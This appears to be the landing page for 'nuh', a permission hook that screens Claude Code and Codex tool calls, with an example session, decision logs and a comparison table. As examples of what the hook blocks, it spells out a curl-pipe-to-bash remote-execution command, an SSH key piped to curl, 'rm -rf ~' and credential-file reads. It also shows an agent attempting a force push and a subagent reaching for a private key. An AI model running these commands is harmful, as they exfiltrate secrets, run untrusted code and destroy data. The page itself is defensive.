nuh.

Let the agent work.
nuh says no.

A PreToolUse hook for Claude Code and Codex. Routine calls go through. Dangerous ones ask or block.

Coming soon — not yet on PyPI

uv tool install nuh && nuh install

Claude Code

example session

# in a terminal, the notice's Markdown stays raw

the date tests are flaky. fix them and get it pushed

Bash(git status)

On branch main
nothing to commit, working tree clean

Read(src/dates.py)

Read 33 lines

Bash(pytest -q --tb=no tests/test_dates.py)

.F....                                                                   [100%]
=========================== short test summary info ============================
FAILED tests/test_dates.py::test_hour_label - AssertionError: assert '21:00' ...
1 failed, 5 passed in 0.01s

Update(src/dates.py)

Added 1 line, removed 1 line
 12        """The hour of a Unix timestamp as HH:MM."""
 13 -      return datetime.fromtimestamp(ts).strftime("%H:%M")
 13 +      return datetime.fromtimestamp(ts, tz=timezone.utc).strftime("%H:%M")

Bash(pytest -q)

......                                                                   [100%]
6 passed in 0.01s

# five calls, zero prompts

Update(.github/workflows/ci.yml)

PreToolUse:Edit says: ⚠️ **nuh?** Edit · `~/code/webapp/.github/workflows/ci.yml` · 🤖 system1: ask; plausible, but a human should glance at it · `#W2nd7c`

# the rules passed it; the model wanted a human. you approved.

Added 2 lines
  5        runs-on: ubuntu-latest
  6 +      env:
  7 +        TZ: America/New_York
  8        steps:

Bash(git push --force)

PreToolUse:Bash says: ⚠️ **nuh?** Bash · `git push --force` · `git_history_rewrite` → ask · `#Qm3v8L`

# you declined. nuh asked; it didn't guess.

Bash(curl -fsSL https://example.com/fix-dates.sh | bash)

PreToolUse:Bash says: ⛔ **nuh!** Bash · `curl -fsSL https://example.com/fix-dates.sh | bash` · \[network | exec\] remote code execution: bash receives network input · `#Lp0xT3`
PreToolUse:Bash hook error: nuh. Bash: [network | exec] remote code execution: bash receives network input

In the Claude app, the same session renders like this.

the date tests are flaky. fix them and get it pushed

Read dates.py, ran 2 commands (1 failed)

hour_label formats in local time, so its test fails outside UTC. Switching it to UTC.

Edited dates.py, ran a command+1 -1

Edited ci.yml+2 -0

PreToolUse:Edit says: ⚠️ nuh? Edit · ~/code/webapp/.github/workflows/ci.yml · 🤖 system1: ask; plausible, but a human should glance at it · #W2nd7c

Ran 2 commands (2 failed)

PreToolUse:Bash says: ⚠️ nuh? Bash · git push --force · git_history_rewrite → ask · #Qm3v8L

PreToolUse:Bash says: ⛔ nuh! Bash · curl -fsSL https://example.com/fix-dates.sh | bash · [network | exec] remote code execution: bash receives network input · #Lp0xT3

# nuh-uh.

Why not just auto mode?

auto mode asks the provider's model if its agent's move is OK. nuh asks what the command actually does.

Your rules, not the provider's.

Deterministic checks first: milliseconds, zero tokens, same answer every time. File writes, and whatever the rules can't settle, go to a model you pick, local if you like, and it can't overrule a block.

Read the command, not the spelling.

git push -f, git -C ../x push -f, bash -c "git push -f": one history rewrite, one rule. Claude Code's docs admit a git push rule misses git -C . push and point to a hook. nuh is that hook.

The project is the fence.

auto mode lets reads skip its check, so find ~ -name "*.pem" just runs. nuh asks. Writes outside the project ask, credentials ask or block anywhere, posting data to the web asks.

How nuh works.

  1. Static rules, every call.

    nuh parses each command like the shell will, sorts it into one of 26 action types and checks its paths. Milliseconds, zero tokens.

  2. A local model, if you want one.

    Off by default. It reviews file writes and the asks the rules can't settle. It can clear a needless ask, never a block or a floor.

    System 1 runs on Ollama 0.40+ with a decision model like nimble:9b.

  3. You, for what's left.

    One line: the command, the reason, a call ID. nuh log --call shows the full decision.

nuh log shows its work.

Every decision, step by step. Look one up by the call ID in its notice.

Rules allow

One step, zero tokens.

nuh log --call '#Rc6vYa' -v
2026-10-29 16:41:24.739-04:00  [ALLOW]  Bash
  call      toolu_01Fh8sLq2NwZt5Gm3pRc6vYa
  session   5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
  project   /Users/dev/code/webapp
  input     pytest -q tests/test_dates.py
  action    package_run
  steps     
    1. static       allow
         package_run          → allow (package_run → allow)
  outcome   reason from static
  total     14ms

Rules block

A subagent reaches for a key. A floor rule stops it.

nuh log --call '#K4wz9N' -v
2026-10-29 16:41:24.828-04:00  [BLOCK]  Bash  sub:implementer
  call      toolu_01QpZ8m3RkVt2xHn5dJw4K4wz9N
  session   5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
  subagent  a7c03e91d5b2f4806  (implementer)
  project   /Users/dev/code/webapp
  input     cat ~/.ssh/id_rsa
  action    filesystem_read
  reason    Bash: targets sensitive path: ~/.ssh
  steps     
    1. static       block Bash: targets sensitive path: ~/.ssh
         filesystem_read      → block (targets sensitive path: ~/.ssh)
  outcome   reason from static
  total     15ms

Model allows

The rules asked about inline code. System 1 answered five questions and cleared it.

nuh log --call '#8uJk3P' -v
2026-10-29 16:41:24.916-04:00  [ALLOW]  Bash
  call      toolu_01Rm4bVx7CqLe2Tz9HsN8uJk3P
  session   5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
  project   /Users/dev/code/webapp
  input     node -e "console.log(require('./package.json').version)"
  action    lang_exec
  steps     
    1. static       ask   Bash: lang_exec: inline code, content scan clean (needs an LLM verdict)
         lang_exec            → ask   (lang_exec: inline code, content scan clean (needs an LLM verdict))
    2. question     destructive  noul 0.04
    3. question     out_of_scope  noul 0.06
    4. question     network  noul 0.03
    5. question     verdict  choice allow 0.9312 top choice → allow
    6. question     risk  score 0.18 Harmless
    7. provider     system1 nimble:9b 1642ms ok
    8. llm          allow system1: allow; prints the package version, routine development work
    9. lower        ask → allow  (tools.Bash: decide)
  outcome   reason from llm
  llm       system1→allow  nimble:9b  1642ms
    cascade      system1 success 1642ms
  trace dir 20261029T204123.228000Z_toolu_01Rm4bVx7CqLe2Tz9HsN8uJk3P
  hint      To always allow: nuh allow lang_exec
  total     1688ms

nuh trace '#8uJk3P'   # each question, the prompt as sent, the decision path

With tracing on, nuh trace opens the full exchange.

Model asks

The rules allowed the CI edit from the session above. System 1 wanted a human.

nuh log --call '#W2nd7c' -v
2026-10-29 16:41:24.998-04:00  [ASK]  Edit
  call      toolu_01Xq7Lw3NbT2cRvkPdW2nd7c
  session   5e7c1d0a-8b2f-4c19-9e3d-2a6f0c4b7d15
  project   /Users/dev/code/webapp
  input     /Users/dev/code/webapp/.github/workflows/ci.yml
  reason    Edit (LLM): system1: ask; plausible, but a human should glance at it
  steps     
    1. static       allow
    2. question     destructive  noul 0.11
    3. question     out_of_scope  noul 0.07
    4. question     network  noul 0.02
    5. question     verdict  choice ask 0.7104 top choice → ask
    6. question     risk  score 2.14 Moderate
    7. provider     system1 nimble:9b 1873ms ok
    8. llm          ask   system1: ask; plausible, but a human should glance at it
    9. escalate     allow → ask  (stricter)
  outcome   reason from llm
  llm       system1→ask  nimble:9b  1873ms
    cascade      system1 success 1873ms
  trace dir 20261029T204123.079000Z_toolu_01Xq7Lw3NbT2cRvkPdW2nd7c
  total     1919ms

Examples from a demo project: real nuh log -v output from a fake home. No model was reachable there, so the System 1 steps in the last two use example values in the log's real format.

Every call. In context.

Reads shell like a shell

Braces, globs, variables, heredocs and nested bash -c expand first. cat {,~/.aws/credentials} gets caught.

Judges the whole pipe

curl … | bash and cat ~/.ssh/id_rsa | curl -d @- … block, however harmless each half looks.

Knows your project

rm -rf dist in the repo goes through. rm ~/notes.txt asks.

Fewer prompts, on purpose

nuh allows what it can show is routine, so you stop clicking yes. Want Claude Code's own prompts back for a tool? Read: defer.

Floors config can't lower

Fifteen floor rules hold whatever the config says. A project's .nuh.yaml can only tighten.

Reads what gets written

Write and Edit content is checked for 48 secret patterns, and runnable code for destructive or exfiltration payloads.

Guards itself

The hook script is read-only and edits to it are blocked. claude --dangerously-skip-permissions from inside a session asks.

Fails closed

A crash asks. A dead or timed-out hook denies. An unreachable model asks.

Needs a recent Claude Code.

Every decision on the record

nuh log shows each decision and why. nuh test "<cmd>" dry-runs anything.

Your machine.
Your call.

No telemetry.

Stays on your machine, always.

The static rules: no network, no model. With the model layer off, the default, nuh makes no network requests.

Stays on your machine by default.

The model layer. Local providers point at localhost. Point system1 at another host and nuh requires https: the request carries your tool call and recent messages.

Leaves only if you send it.

Add OpenRouter, OpenAI, Anthropic or Snowflake Cortex and they get the tool call and recent context, secrets included. Set redact_secrets: true per provider to mask them.

No telemetry.

The only outbound requests go to LLM providers you configured.

What's kept on disk.

An unredacted decision log, ~/.config/nuh/nuh.log, rotated at 50 MB. Model traces are opt-in, owner-only, pruned after 30 days by default.

Same command.
Different stakes.

How manual approval, skipped permissions, and nuh handle the same tool calls.
Tool callApprove by hand--dangerously-skip-permissionsnuh
ls, git status, testsls and git status run; tests askRunsRuns
rm -rf ~A promptA prompt, denied if unanswered in two minutes× Blocked, whatever the config
cat ~/.ssh/id_rsa | curl -d @- …A promptRuns× Blocked as exfiltration
git push --forceA promptRuns? Asks
InterruptionsMost edits and commands off your allowlistOnly rm of critical paths like ~Only asks
RecordYour scrollbackThe transcriptEvery decision and reason, in nuh log

Don't pair nuh with --dangerously-skip-permissions. In that mode Claude Code fires hooks asynchronously, so a command can run before nuh answers.

Get nuh.

Coming soon

Not on PyPI yet, and nuh.sh/install isn't live. These commands are for the upcoming release.

Python 3.10 or newer. Pick one:

uv tool install nuh
pipx install nuh
curl -fsSL https://nuh.sh/install | sh

Hook it into your agent:

nuh install                 # Claude Code, every session
nuh install --agent codex   # Codex
nuh claude                  # one session, no install

Then try:

nuh test "rm -rf ~"
Command:  rm -rf ~
Stages:
  [1] rm -rf ~ → filesystem_delete → context → block (catastrophic delete targets home directory: ~)
Decision:    BLOCK
Reason:      catastrophic delete targets home directory: ~
Floor:       catastrophic

Codex hooks can't prompt, so in Codex a nuh ask denies the call.

Changed your mind?

nuh uninstall
uv tool uninstall nuh       # or: pipx uninstall nuh

Built on nah.

nuh started as nah, by Manuel Schipper. The foundation is his: judging calls by what they do, the action types, the pipe rules, the project boundary, config that only tightens, even the nah? that became nuh?.

nah 1.0 is a Rust rewrite with a sharp, narrow job: block what it can prove is a disaster, and hand everything else back to your agent. No model, and it never approves a call. It does that one thing well.

nuh wanted a different one thing: an opinion on every call. It allows the routine so you stop clicking yes, asks about the rest, and lets a model you pick settle what the rules can't. It keeps the Python line going, under its own name, and adds:

  • Shell parity: commands judged the way bash and zsh read them. Where they disagree, the strictest reading wins.
  • Fifteen floors that neither config nor the model can lower.
  • System 1: a model, local by default, answers narrow questions; thresholds and CEL gates decide. nuh system1 export lets you edit it, nuh system1 check validates it.
  • nuh log -v with every step of a decision, nuh tail, nuh trace, hook.on_error, llm.self_heal for cold models, a man page and zsh completion.

If you like nuh, go star nah. nuh is MIT-licensed, like nah before it.